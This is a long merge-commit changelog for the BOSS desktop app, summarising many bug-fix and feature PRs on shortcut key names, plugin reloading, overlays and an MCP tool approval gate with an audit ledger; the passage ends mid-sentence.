Fixes #278. Commit c15660c5 inadvertently dropped the explicit width constraint for nested panels in the right dock by wrapping them inside a PanelColumn with a Box(weight(1f)) that lacked fillMaxWidth(). This loose constraint caused a known issue with SubcomposeLayout caching stale bounds when resized, resulting in Row content disappearing after weighted Spacers. This commit restores the .fillMaxWidth() propagation. * Cover panel content alignment across width changes * Keep panel layout regression in the existing app test package * Document panel alignment contract and pin filling content width * Wrap the panel width assertion to satisfy detekt --------- Co-authored-by: Shivang * #320 - Fix quick actions vanishing in short tab rail (#328) * #320 - Fix quick actions vanishing in short tab rail * Fix: detekt & ktlint checks * Fix rail action budgets and reversible fallback wiring * Fix resize test assertion import and update rail coverage note --------- Co-authored-by: Shivang * fix(crash): refine scroll boundary and bound error sanitization (#350) * fix(crash): refine scroll boundary and bound error sanitization * Avoid exposing a partial token at the crash message limit * Document sanitizer input bound and verify expansion ordering --------- Co-authored-by: Aishwary Anand Co-authored-by: Shivang * fix(logging): redact private hostnames (#346) * fix(logging): redact private hostnames * Handle private hostname punctuation and preserve diagnostic ports * Format hostname punctuation regression assertion --------- Co-authored-by: ayush Co-authored-by: Shivang * feat: Opening an .html file should ask open as a file or webpage (#333) * feat: Opening an .html file should ask open as a file or webpage * Fix HTML prompt delivery and persisted preference ordering * Cover HTML routing and correct review test fixtures * Honor HTML navigation intent and release pending prompts on failure * Isolate HTML prompt handling from the general dialog host --------- Co-authored-by: Shivang * fix(plugin-store): parse timestamps consistently in list and detail metadata (#379) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * fix(repository): implement robust ISO timestamp parsing for Supabase payloads * style(repository): resolve detekt MaxLineLength and TooGenericExceptionCaught * fix(plugin-store): implement plugin metadata timestamp parsing PluginStoreClient.parseTimestamp was a stub that always returned 0L, so every plugin fetched from the store showed "Last Updated"/"Published" as the Unix epoch in the Toolbox UI regardless of what the server actually sent (#337). Parses the ISO-8601 timestamp (the shape the store sends, e.g. 2024-05-12T14:30:00Z, or with a numeric offset) via java.time.Instant, falling back to 0L for a blank, missing, or malformed string rather than throwing - matching the field's own empty-string default for a response that omits it. java.time rather than adding kotlinx-datetime as a new dependency: this module already uses java.util.* directly in the same commonMain source set (it has one real target, jvm("desktop")), so nothing is gained by introducing a second time library for one function. Tests exercise the real PluginDetailResponse.toPluginInfo(), matching the convention already established next to it in PluginStoreResponseDecodingTest: a Z-suffixed timestamp, a numeric-offset timestamp, a blank string, and a malformed string. * Fix timestamp normalization edge cases and verify both response mappings * Use release publication dates and pin timezone-independent fallback --------- Co-authored-by: Sanjay Co-authored-by: Antriksh1984 Co-authored-by: Shivang * feat(remote-ui): authenticate and expose remote UI surfaces (#348) * feat(remote-ui): authenticate remote UI process identity * feat(remote-ui): place authenticated remote UI surfaces * fix(remote-ui): close ownership and placement lifecycle races * test(remote-ui): expose placement recovery cases to JUnit --------- Co-authored-by: Shivang * feat(dashboard): add shared read-only What's New release feed (#381) * Add What's New release feed to dashboard * Serialize update settings persistence * Remove unused update settings import * fix(updater): retain realtime refreshes during shared release fetches * style(updater): format shared release fetch regression tests * fix(updater): coalesce release refresh bursts and preserve visible history --------- Co-authored-by: Shivang * fix(language): consolidate host and out-of-process language-id tables (#358) * fix(language): consolidate host and out-of-process language-id tables EditorLanguages (composeApp) and EditorServiceImpl (modules/boss-app-editor) each hand-maintained their own extension-to-language-id table because boss-app-editor - a plain JVM module compiled to a GraalVM native image - could not depend on anything in composeApp. They disagreed: EditorServiceImpl named .sh/.bash/.zsh "shell", EditorLanguages named them "bash", and EditorServiceImpl was missing more than forty ids the other table had (fortran, delphi, latex, lisp, tcl, clojure, batch, diff, ...) (#75). Moves the table into a new plugin-platform/plugin-language-types module - dependency-free by design, so it carries nothing extra into boss-app-editor's native-image build - and has both EditorLanguages and EditorServiceImpl read from it. This is the first time anything under modules/ depends on plugin-platform/; verified compiling and passing tests before committing to the approach. EditorLanguages keeps its existing public API unchanged (same values for every extension), so FileTypeCategoriesTest and EditorLanguageDetectionTest needed no changes. EditorServiceImpl keeps its own "proto"->"protobuf" entry and "plaintext" fallback as local additions on top of the shared table, rather than folding them into it: proto isn't part of the boss-file-types.json default-app-association surface the shared table backs, and "plaintext" is this service's own gRPC default, not a value composeApp reads. Adds LanguageIdsTest (the new module) and EditorServiceImplTest (previously no tests existed for this class at all) - the latter pins the actual bug fix, that detectLanguage("sh") now returns "bash" instead of "shell". Out of scope, and disclosed rather than silently dropped: two of the five duplicate tables the issue names - the editor-tab plugin's own LanguageDetection and BossEditor's lexer registry - live in separate repositories this build cannot reach. FileIcons.forSpecialFileName/forFile in plugin-icons is also not consolidated: it keys icon selection off the raw filename to preserve distinctions a language id can't carry (package.json, yarn.lock and pnpm-lock.yaml are all valid JSON/YAML but get three different brand icons) and never computes a language id in the first place, so routing it through this table would need a separate icon-selection redesign. * fix(language): keep file-association drift checks on the shared table * fix(language): apply shared filename rules to editor file opens --------- Co-authored-by: Shivang * fix(editor): contain write-local stack overflow and preserve fatal errors (#396) * Make writeFileContentSafe actually safe: catch the Errors it was named for `writeFileContentSafe` exists to return false rather than throw. It did not hold that contract: } catch (e: Exception) { fileIoLogger.warn(LogCategory.EDITOR, "Error writing file", error = e) false } StackOverflowError is an Error, not an Exception, so it went straight through - out of writeFileContent, out of the editor_write_file MCP handler, and to the caller as a bare StackOverflowError instead of the handler's own "Write failed for ". The warn that would have named the file never ran either. That is not hypothetical. risa-labs-inc/boss-plugin-editor-tab#18 and #27 are two independent reports of it, on unrelated content, and #27's complaint is precisely the missing diagnosis: the error "gives no indication of which input caused it". StackOverflowError and OutOfMemoryError are caught explicitly rather than widening to Throwable. A stack overflow unwinds and leaves the JVM usable, and readFileContentSafe in this same file already treats OutOfMemoryError as a reportable outcome. Throwable would also absorb LinkageError and ThreadDeath, which are not this function's to swallow - there is a test asserting a NoClassDefFoundError still propagates. The failure log now names the path and the character count. Not the content: these writes carry whatever the user is editing. **This does not fix the write.** Whatever recurses is upstream of this function, which is mkdirs plus writeText - I ruled out the plugin's handler, this write, and the host's MCP argument parsing, and said so on the issue. What changes is that the failure is reported honestly instead of escaping, which is where a diagnosis can start. The body moves to `guardedWrite` with an injectable write, because a test JVM cannot be made to overflow the stack inside writeText on demand. Verified: 3729 tests, 0 failures, plus ktlintCheck and detekt. Refs risa-labs-inc/boss-plugin-editor-tab#18, #27. Co-Authored-By: Claude Opus 5 * docs(editor): clarify write guard scope and prior recursion fix * fix(editor): preserve fatal heap errors in write guard --------- Co-authored-by: Claude Opus 5 Co-authored-by: Shivang * fix(state): apply version-checked JSON merge patches (#361) * Fix: Implement proper ISO timestamp parsing in PluginStoreClient * Feature: Implement JSON Merge Patch for plugin delta state synchronization * fix(state): validate delta bases and exclude duplicate timestamp scope * fix(state): reject malformed and deeply nested patches --------- Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump grpc from 1.83.1 to 1.84.0 (#363) Bumps `grpc` from 1.83.1 to 1.84.0. Updates `io.grpc:grpc-netty` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-protobuf` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-stub` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-services` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) Updates `io.grpc:grpc-util` from 1.83.1 to 1.84.0 - [Release notes](https://github.com/grpc/grpc-java/releases) - [Commits](https://github.com/grpc/grpc-java/compare/v1.83.1...v1.84.0) --- updated-dependencies: - dependency-name: io.grpc:grpc-netty dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-protobuf dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-stub dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-services dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor - dependency-name: io.grpc:grpc-util dependency-version: 1.84.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * :arrow_up: deps:(deps): Bump protobuf from 4.36.0 to 4.36.1 (#364) Bumps `protobuf` from 4.36.0 to 4.36.1. Updates `com.google.protobuf:protobuf-kotlin` from 4.36.0 to 4.36.1 Updates `com.google.protobuf:protobuf-java` from 4.36.0 to 4.36.1 - [Release notes](https://github.com/protocolbuffers/protobuf/releases) - [Commits](https://github.com/protocolbuffers/protobuf/commits) --- updated-dependencies: - dependency-name: com.google.protobuf:protobuf-kotlin dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: com.google.protobuf:protobuf-java dependency-version: 4.36.1 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Shivang * fix(plugins): defer stale jar cleanup until restart (#340) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Require cleanup intent and retain artifacts with unordered manifest versions --------- Co-authored-by: ayush Co-authored-by: Shivang * fix(plugins): defer fluck-browser hot-reload to a restart (#352) * fix(plugins): defer stale jar cleanup until restart * fix(plugins): defer fluck-browser hot-reload to a restart Hot-reloading fluck-browser force-unloads the classloader that created its JxBrowser native views. Every open tab - and every tab opened afterward, since the factory that would recreate the view is gone too - draws an empty box, and a second hot-reload does not recover it; only a full restart does. HotReloadPolicy names plugins that must never be swapped in place, matching the existing NOT_USER_INSTALLABLE/RetiredPlugins pattern. It's checked at every path that can force-unload a live plugin to apply an update: the resetPluginInstances/doReloadPlugin path that actually reproduced this bug, the menu-driven Reload action, the Toolbox update flow, and the store installer. For a not-hot-reloadable plugin, the new jar is staged into installed.json without touching the running instance or its open tabs, and a status message tells the user to restart to apply it - the next cold start loads the update with a fresh classloader. Also fixes two call sites that asked "restart dependent plugins?" before checking whether an unload was even going to happen, which produced a confusing prompt for an unload that a deferred update was never going to do. * fix(plugins): satisfy quality checks * Preserve staged plugin artifacts when another plugin updates * Validate deferred browser artifacts and reject ineffective downgrades * Require cleanup intent and retain artifacts with unordered manifest versions * Preserve unloaded-browser recovery and unify safe deferred selection * Format scoped update cleanup integration --------- Co-authored-by: ayush Co-authored-by: Shivang * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) (#365) * Harden OOP plugin reaping: hook-race flag, registry cleanup, spawn guard (#135) reapDepth (AtomicInteger) replaces the boolean reaping flag, so the two JVM shutdown hooks (main.kt and KernelBootstrap) cannot clear the in-progress signal while the other is still reaping (item 2). reapChildren now unregisters reaped handles from the process-wide ProcessRegistry, so stale dead entries do not persist across an in-process mode switch (item 4). OutOfProcessPluginSpawnerImpl.spawn() stands down when isReaping(), so a plugin load racing host exit cannot register a child after the reap snapshot (item 3). Covered by ReapChildrenTest. * Serialize plugin spawn registration with reaping and preserve replacement handles * Fence late process creation without blocking shutdown and cover recovery --------- Co-authored-by: Shivang * fix(plugins): complete loader cleanup after disposal linkage errors (#302) * fix: API hot swap during startup * fix: workflows * resolved comments by maintainer * fix CI and build * Scope disposal error resilience and cover loader cleanup after linkage failure --------- Co-authored-by: Shivang * Fix shortcut rebinding key storage (#329) (#335) * #329 - Fix: store key names when rebinding shortcuts * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Store a folded key name on capture, and repair the keymaps that hold a keyCode Completes #329, on top of the one-line capture fix in #335. which is the right shape and stops new rebinds being dead. Its own description records the rest as future work: the keymaps already on disk still hold numeric keys, and nothing tests it. This is that rest. **Fold the name before storing it.** The raw rendering is not the presets' vocabulary and it is not stable. The left arrow renders "Left" against the presets' "DirectionLeft", the right bracket "Close Bracket" against "CloseBracket", the 1 key "1" against "One" - all of which MATCH through the alias table, none of which DISPLAY the same, because `formatKeyDisplay` knows "directionleft" and not "left". Stored raw, a rebound arrow lists as "⌘LEFT" beside a preset's "⌘←". And `Key.toString()` falls through to AWT's `getKeyText`, which answers with a word while the toolkit is cold and the macOS glyph once it is up, so the same user rebinding Tab gets "Tab" or the glyph depending on nothing they did. `storedKeyName` folds through `canonicalKeyName` first, which makes a rebind indistinguishable from a preset binding: same match, same signature, same rendering, and deterministic. **Existing keymaps are handled twice, deliberately.** `canonicalKeyName` resolves a stored keyCode so an unmigrated file keeps matching, AND the settings migration rewrites it so the file stops holding a ten-digit key. Either alone is not enough: the migration cleans one file, and a keymap restored from a backup, copied off another machine, or exported and re-imported reaches the matchers before it reaches the migration. **The repair runs before `migrateSettings`' chord arithmetic**, which is what lets #322's drop-on-conflict guard see a UI rebind at all. While those signed as a numeric key, `chordHolders` produced a signature no preset chord could equal, so a keymap whose owner had rebound an action through the UI read as not claiming that chord and the guard handed a new action straight onto it. #322's own motivating example is "someone who rebound panel.navigate_right", which is a UI rebind: the guard was protecting hand-edited files and not the ones made in the app. Two smaller things: - The dialog's preview was rendering the raw keyCode too. It had a private copy of the display formatter, and now renders the exact `KeyStroke` that Apply persists, so the preview cannot disagree with what is saved. - `KeyBinding.fromComposeKey` had the same `key.keyCode.toString()` line. It has no caller today, which is exactly why it would have outlived the fix. Answering the question the issue leaves open: yes, the Shortcuts screen's own tester reports these, so it reproduces without a build change. `ShortcutTestRunner.validateKeyName` reaches its "Unknown key name" branch and the row goes red. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Co-Authored-By: Claude Opus 5 * Preserve MoveHome and MoveEnd aliases from PR #405 Extract the additional Home/End property-name aliases and assertions from #405. Maintainer integration retains home/end as canonical spellings for the existing vocabulary. * Keep unrecognised legacy key codes intact during repair * Exercise warm toolkit key names and correct rendering comments * Keep shortcut capture consumers consistent and reject modifier-only captures * Keep import regression setup readable * Order warm-toolkit test imports per repository style * Recognise unknown-key diagnostics independently of their localized prefix * Wrap modifier key lists for quality gates * Share the dispatcher modifier and lock-key exclusions with capture * Use public shortcut equality in the formatted menu regression test * Preserve malformed native codes instead of storing invalid Unicode * Cover the new dev chrome-density shortcut in capture round trips --------- Co-authored-by: Arjun Singla Co-authored-by: Claude Opus 5 Co-authored-by: Antriksh1984 Co-authored-by: Shivang * fix: make sidecar backfill lifecycle reliable (#347) * fix: make sidecar backfill lifecycle reliable * test(plugins): format sidecar backfill tests * fix(plugins): keep backfill persistence on IO and cover lifecycle transitions * fix(plugins): retry interrupted auth backfill and dispatch the full drain on IO * style(plugins): format sidecar coordinator declarations * style(plugins): keep unsigned predicate within line limit * style(plugins): wrap unsigned predicate expression * style(plugins): name the current stamp in unsigned predicate --------- Co-authored-by: ayush Co-authored-by: Shivang * fix: await SupabaseConfig initialization before syncing plugin manifest (#366) * fix: await SupabaseConfig initialization before syncing plugin manifest * style: fix ktlint import order for java.io.File * fix(plugin): wait for SupabaseConfig before starting the manifest sync SystemPluginManifestService.startSync() ran its startup fetch and Realtime subscription before SupabaseConfig finished its own async initialize() call in the Compose UI layer, so both routines' first attempt hit SupabaseConfig.client's "not initialized" throw: a startup warning for the fetch, and an unnecessary first trip through the subscription's backoff retry loop before it ever connects (#370). SupabaseConfig.isInitialized already exists as a StateFlow for exactly this. Both of startSync's launched coroutines now suspend on it once, before touching the client, replacing a guaranteed-to-fail-once startup path with a wait for the real precondition. The existing "catch up on (re)connect" comment in subscribeToChanges - added because this same race could also just lose - stays accurate; this closes the race rather than only compensating for it afterward. Test exercises the actual mechanism: a coroutine awaiting SupabaseConfig.isInitialized genuinely suspends (verified via TestCoroutineScheduler.runCurrent(), not a coroutine that was merely scheduled and never run) until initialize() is called, then resolves. * Isolate manifest readiness regressions from stored auth sessions * Test manifest readiness without singleton side effects --------- Co-authored-by: Antriksh1984 Co-authored-by: Shivang * Fix heavyweight modals dismissing destructively on focus loss (#152) (#353) * Fix heavyweight modals dismissing destructively on focus loss (#152) Extending LocalHeavyweightOverlays to the whole BossWindow content routed several dialogs through HeavyweightModal, which dismisses whenever focus leaves the application (oppositeWindow == null). Two dialogs dismiss to a destructive action, so this was a regression: - MemoryPressureNoticeDialog dismisses to acknowledge(), clearing the once-per-session notice and its restart offer unread on an alt-tab away. - ScreenCapturePickerDialog dismisses to cancel the capture request, so switching to the window you want to share silently killed the share. Add an internal LocalDismissModalOnFocusLoss CompositionLocal (default true) that the two dialogs set to false, honoured in shouldDismissOnFocusLoss. This suppresses only the focus-loss path - Escape and the scrim still dismiss deliberately. Kept host-side rather than as a BossDialog/modalRenderer parameter because those signatures are pinned by the binary-compatibility validator and would need a coordinated api-then-host release; both callers are host dialogs in composeApp. Covered by HeavyweightOverlayTest. * fix(overlays): address dismissal review and pin destructive dialog wiring * style(overlays): order dialog property import * style(overlays): wrap dismissal wiring assertion * style(overlays): import the regression fixture root helper --------- Co-authored-by: Shivang * Fix toast overlay clipping content at its first-frame size (#154) (#354) * Fix toast overlay clipping content at its first-frame size (#154) HeavyweightCorner measured its content against a ceiling of min(initialSize, region), so the toast overlay's 432x600 initialSize doubled as a hard clip. Three verbose toasts can exceed 600dp, and because the overlay window is content-sized the overflow is not cosmetic: the bottom toast's dismiss button lands outside the window, unclickable, on the INDEFINITE path where dismissing is the only way out, so the toast is genuinely stuck. measuredAgainst already decoupled measurement from the window's current size, so the two uses of the initial size no longer need to be one number. Size the ceiling to the parent region instead (regionCeiling), leaving initialSize as only the small first-frame placeholder. Content now grows the window up to what the parent can actually show rather than being clipped. Other callers are unaffected: intrinsically-sized content measures the same, it just stops being capped below the parent. Covered by HeavyweightCornerTest; HeavyweightCornerSizingTest's ratchet guarantees are unchanged. * test(overlays): measure content beyond the initial toast window height * docs(overlays): update all first-frame sizing contracts --------- Co-authored-by: Shivang * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) (#367) * Overlay follow-ups: popup measure guards, anchor diagnostic, dialog a11y (#143) Equality guards on BossPopup's measuredWidthPx/anchorPositionPx make onGloballyPositioned/layout writes no-ops in the steady state instead of a redundant compose-measure-layout pass per frame during a window drag. AnchorBounds popups that never measure report once via BossOverlayHost.reportUnmeasuredAnchor() after a grace period. The modal card declares semantics { dialog() } and swallows clicks with detectTapGestures instead of clickable, so a screen reader announces a dialog rather than a button; the scrim dismiss also moves to detectTapGestures so IsDialog is not merged under a clickable ancestor (which crashed the modal). BossAlertCard drops the header spacer for a buttons-only card (alertHeaderSpacerVisible); AlertWidth renamed ALERT_WIDTH. Covered by BossAlertCardSpacerTest, ScrimmedModalSemanticsTest, and the existing ModalInputArmingTest/BossAlertCardLayoutTest. * fix(overlays): refresh scrim dismissal callback after recomposition * fix(overlays): remove redundant measurement reads and cover card taps --------- Co-authored-by: Shivang * fix(plugin-ui-core): guard write-once overlay registry fields (#369) * fix(plugin-ui-core): stop redundant popup recomposition and guard write-once overlay registry fields Two non-blocking follow-ups from the HARDWARE dialog sweep (#143). BossDialog wrote measuredWidthPx and anchorPositionPx unconditionally from layout {} / onGloballyPositioned, and both are read during composition - so an unchanged value still invalidated composition from inside layout on every pass, costing a redundant composition-measure- layout cycle per frame for every open BossPopup during e.g. a window- resize drag. Both writes are now equality-guarded, a no-op once the value stops moving. BossOverlayHost.{useHeavyweightOverlays,modalRenderer,popupRenderer, diagnostics} are public mutable statics the KDoc calls host-owned and write-once, on a singleton shared across the host and every in-process plugin - but nothing enforced it, so one plugin line could reinstate the occluded-dialog bug this file exists to fix. Each now locks to its first write (via a custom setter, so the JVM descriptor - and so binary compatibility with the boss-plugin-api mirror - is unchanged) and reports a duplicate write through diagnostics instead of silently accepting it. openHeavyweightPopups is deliberately left alone: its own KDoc documents it as a running counter across a popup's lifetime, not a one-time registration, and a write-once guard would freeze it at whatever the first popup left it. Co-Authored-By: Claude Sonnet 5 * test(overlays): isolate write-once registry fixtures and remove duplicate popup edits * fix(overlays): register diagnostics first and verify both startup modes --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(plugin-api-core): guard against host/api divergence in duplicated packages (#368) * fix(plugin-api-core): guard against host/api divergence in duplicated packages ai.rever.boss.plugin.{logging,bookmark,workspace,browser,scrollbar,ui, tab.terminal} each exist twice: once in the host modules, once inside boss-plugin-api, what plugins actually compile against. The host's copy shadows the api's parent-first inside plugin classloaders, so a plugin whose bytecode references a member the api has and the host lacks fails to link at runtime rather than at compile time - already the cause of two incidents (secret-manager 1.2.6/1.2.7, unloadable on every host with only "ComponentLogger.$stable: field not found" as a clue). LoggingStableFieldTest, BookmarkStableFieldTest and WorkspaceStableFieldTest each pin the one field that has actually bitten us. Nothing pinned the general case: an added method or a changed signature in either copy breaks a plugin the same way and would be diagnosed from scratch. ApiPackageDivergenceTest diffs the host's copies against the pinned release jar plugin-api-core's own build already downloads (fetchApiPluginJar), for every public, non-synthetic member of the seven packages actually duplicated (verified against the real jar's contents, not guessed from the issue's approximate count) - not ai.rever.boss.plugin.api itself, which is filtered from that same jar so it cannot diverge from itself, and not ai.rever.boss.plugin.bundled, which is api-only. Co-Authored-By: Claude Sonnet 5 * fix(plugin-api): cover callable ABI and preserve PanelConfig linkage * fix(tests): compile legacy serialization bridge and satisfy lint * test(plugin-api): address review and verify loader isolation --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * fix(gate): surface remedy success and handle in-flight update states (#378) * fix(gate): handle updateHost success and in-flight download states * style(gate): resolve detekt LongMethod and ReturnCount violations - Extracted PluginLoadGateHeader to reduce PluginLoadGateBody length under 60 lines. - Refactored updateHost to use a single return expression, eliminating multiple exit points and fixing line length limits. * fix(gate): complete header extraction and validate update remedy state * fix(gate): retain rollback and report installation progress accurately * fix(gate): explain the install step after downloading BOSS * style(gate): apply ktlint and wrap detekt overlong lines --------- Co-authored-by: Shivang * Make MCP search rows open Toolbox for kill-switches (#380) (#382) * Make MCP search rows open Toolbox for kill-switches (#380) Agent-less operators could find mcp__boss__* tools in double-shift search but selecting a row did nothing. Wire selection to reveal Toolbox (plugin-manager) and document the minimum attach / kill-switch path. * fix(search): validate MCP navigation and clarify Toolbox hint * fix(search): report unavailable Toolbox for MCP selections --------- Co-authored-by: Shivang * # Governed Autonomy for MCP tools: approval gate and audit ledger (#371) * feat(mcp): implement Governed Autonomy with Operation Ledger and ASK mode approval gate - Add McpPolicy and McpPolicyEngine with fail-closed configuration and session trust - Add McpApprovalBus and McpApprovalDialog for non-blocking interactive tool approval - Add McpOperationLedger with size-based file rotation (10 MB x 5) and sensitive argument masking via LogSanitizer - Integrate policy checks, coroutine approval gate, and ledger journaling into McpToolRegistryCore.invoke - Add UI wiring in BossAppState, BossAppEventBusEffects, BossAppDialogs, and BossBottomBar - Add comprehensive unit tests covering policy, approval, ledger rotation, and registry invoke integration * fix(mcp): address review findings across approval gate, policy engine, and ledger * fix(mcp): avoid length-based over-redaction of tool arguments McpOperationLedger and McpApprovalDialog sanitized arguments through LogSanitizer.sanitizeMap, which masks any string value 20+ characters long regardless of content. That defeated the stated goal of keeping long file paths, URLs, and shell commands readable in the audit log and, worse, in the approval dialog an operator relies on to decide whether to approve a mutating call. McpArgumentSanitizer replaces that path for both call sites: a value is now only masked when its key names it as sensitive, or its shape is unambiguously a credential (JWT, GitHub token, sk_/pk_ vendor key). Adds a test proving shape-based masking still catches a credential under a non-sensitive key name, and renames the existing redaction test to match. Also reorders two imports in BossAppDialogs.kt that were out of alphabetical order and would fail ktlintCheck. Co-Authored-By: Claude Sonnet 5 * fix(mcp): repair governed dispatch and cancellation audit guarantees * fix(mcp): address governed autonomy review defects --------- Co-authored-by: Claude Sonnet 5 Co-authored-by: Shivang * Stop the Shortcuts tester reporting working shortcuts as broken (#375) (#376) * Fold the key spellings Compose renders but the AWT interceptor does not BOSS maintains two key-name vocabularies over one keyboard. `AWTKeyboardInterceptor.getKeyName` names a physical key one way; Compose's `Key.toString()`, which is where `KeymapMatcher` and the Shortcuts screen both get a name, names it another. Neither list is derived from the other, and where they disagree a chord fires on one path and silently does nothing on the other. They had drifted on fourteen keys. Nine are reachable in a running app, because `Key.toString()` falls through to AWT's `getKeyText`, which answers with the macOS glyph once the toolkit is up: Enter, Escape, Tab, Backspace, Delete, Home, End, PageUp and PageDown. So `KeymapMatcher` was asking whether the glyph was "Tab" and being told no, which takes out Ctrl+Tab and Ctrl+Shift+Tab (TAB_NEXT and TAB_PREVIOUS) in all four shipped presets. They survive only on the AWT interceptor, which says "Tab" on both sides. The other five are the cold-JVM spellings the same call renders before the toolkit is up (`Back Slash`, `Quote`, `Back Quote`, `Page Up`, `Page Down`), not reachable in a running app but folded for the same reason. This is the shape `Left`/`DirectionLeft` and the bracket pair already were, so the fix is entries in the table those live in rather than a new mechanism. Also here, because the divergence is what they are about: - `composeKeyName` is the one place that reads a name out of `Key.toString()`. `KeymapMatcher.keyMatches` had its own copy of that parse, and two copies is how one path came to know a spelling the other did not. - `KeyVocabularyAgreementTest` walks the two tables key by key over all 73 bindable keys. Only the pairing of a Compose `Key` to its AWT keycode is hand-written, since that is the identity of the key itself; both vocabularies are read from the code under test, so the next divergence fails a build rather than a keystroke. A second test asserts the fold does not collapse keys that are distinct, which asserting agreement alone would pass without. - `CanonicalKeyNameTest` enumerates the glyph and spaced spellings, because the agreement test's input is whatever the environment renders and a cold run cannot reach the glyphs. `getKeyName` becomes `internal` so the test can read it; the two detekt baseline entries are rekeyed for the visibility change, with the function unchanged. Verified warm and cold: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - reverting the new aliases fails the agreement test and names every key it lost. Co-Authored-By: Claude Opus 5 * Stop the Shortcuts tester reporting working shortcuts as broken `ShortcutTestRunner.validateKeyName` kept its own hand-written set of valid key names - the fourth copy of the key vocabulary in the codebase, and the only one nothing tested. It had drifted, and step 4 of the tester turned that drift into a hard FAILED. Fifteen keys the interceptor dispatches were reported as "Unknown key name 'X' - won't match user input" on a shortcut that fires: - every function key, F1 through F12 - Home, End, PageUp, PageDown - the character spellings the fold has always accepted ("-", "=", "/" and the rest), which were reported with the confident and wrong advice "Key name should be 'Minus' not '-'" - the spellings Compose renders, both cold ("Back Slash", "Quote", "Page Up") and the macOS glyphs a running app produces The list is replaced by `isKnownKeyName`, which folds through `canonicalKeyName` against `KNOWN_KEY_NAMES` in the model - one vocabulary, beside the fold that already reconciles the other three. The verdict also softens to a note. "Will this key match" is not knowable from the name alone: `canonicalKeyName` folds an unknown name onto itself, and the keyboard has keys outside the interceptor's table (F13 and up, the keypad) that AWT still names. So an unrecognised name now says it is unrecognised alongside the result, and the test does not fail on it. Reporting a working shortcut as broken is worse than saying nothing, and that is the failure this PR is about. `ShortcutTesterKeyNamesTest` pins the vocabulary in both directions: every key the interceptor names is recognised, and nothing is claimed as known that no key produces. The second half is what stops the set being padded into passing the first. Every shipped preset binding is covered, and a name nothing can produce is still called out, so removing the false failures did not remove the check. Verified: 3705 tests in :composeApp:desktopTest, plus ktlintCheck and detekt. Mutation-checked - restoring the two omissions the old list had (the function keys, and Home/End/PageUp/PageDown) fails the test and names all sixteen. Co-Authored-By: Claude Opus 5 * review: keep a real verdict for a key stored as a raw key code Self-review of the change above found that softening step 4 to a note went one case too far. A key stored as a packed `Key.keyCode` is the one thing that IS decidable from the name alone, and it is decidably broken: no matcher compares against a number, so the binding fires on neither path. That is what every rebind made in the Shortcuts screen wrote before #329, which makes it the population most likely to be on this screen in the first place - and they would have been shown a green row with a parenthetical note. It keeps FAILED, with advice that holds either way: a keymap carrying a raw key code is 